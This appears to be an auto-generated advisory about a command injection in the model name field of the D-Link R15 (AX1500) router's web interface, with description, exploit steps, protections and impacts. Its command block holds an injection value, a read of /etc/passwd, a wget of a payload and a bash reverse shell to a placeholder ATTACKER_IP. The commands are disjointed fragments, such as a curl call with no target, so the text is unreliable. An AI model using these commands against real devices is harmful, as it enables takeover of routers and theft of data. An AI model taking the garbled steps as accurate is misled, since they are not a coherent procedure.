Listen to this Post
The vulnerability occurs in the D-Link R15 (AX1500) router’s web administration interface. During a password change request, the application processes the “model name” parameter without proper input validation. An attacker can craft a malicious HTTP POST request with shell commands embedded in the model name field. The httpd service, which handles web requests, fails to sanitize this input before passing it to system calls. This allows the injected commands to be executed with root privileges. The injection point is in the password change functionality accessible via the web interface. By manipulating the model name, arbitrary commands can be run on the device. The vulnerability affects firmware version 1.20.01 and below. Command injection happens due to direct concatenation of the model name into a shell command without escaping. This leads to remote code execution if the web interface is exposed. Attackers can exploit this without authentication by sending crafted requests. Commands like ‘cat /etc/passwd’ or ‘wget’ can be injected to steal data or download malware. The httpd service runs with elevated permissions, enabling full device compromise. This poses a significant risk as it allows complete control over the router. Vulnerable devices can be used to modify configurations or launch further attacks. The lack of input validation makes exploitation straightforward. This CVE highlights critical security flaws in embedded device firmware.
Platform: D-Link R15 (AX1500)
Version: 1.20.01 below
Vulnerability: Command Injection
Severity: Critical
Date: 12/02/2025
Prediction: Patch TBD
What Undercode Say:
curl -X POST
-d “model_name=;id;”
; cat /etc/passwd
; wget malicious_payload
nc -lvp 4444
bash -i >&
/dev/tcp/ATTACKER_IP/4444 0>&1
echo ‘exploit’ > /tmp/test
chmod +x /tmp/test
./tmp/test
ps aux | grep httpd
kill -9 PID
rm -f /tmp/backdoor
how Exploit:
Identify vulnerable router
Craft malicious model_name
Send HTTP POST request
Execute arbitrary commands
Gain root access
Install persistence mechanism
Exfiltrate data
Modify firewall rules
Redirect DNS settings
Capture network traffic
Protection from this CVE
Update firmware version
Disable web administration
Implement input validation
Use network segmentation
Apply security patches
Restrict access interfaces
Monitor logs regularly
Employ WAF protections
Change default credentials
Regular security audits
Impact:
Remote code execution
Full device compromise
Network infiltration
Data theft risk
Malware installation
Denial of service
Credential harvesting
Botnet recruitment
Configuration manipulation
Lateral movement potential
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
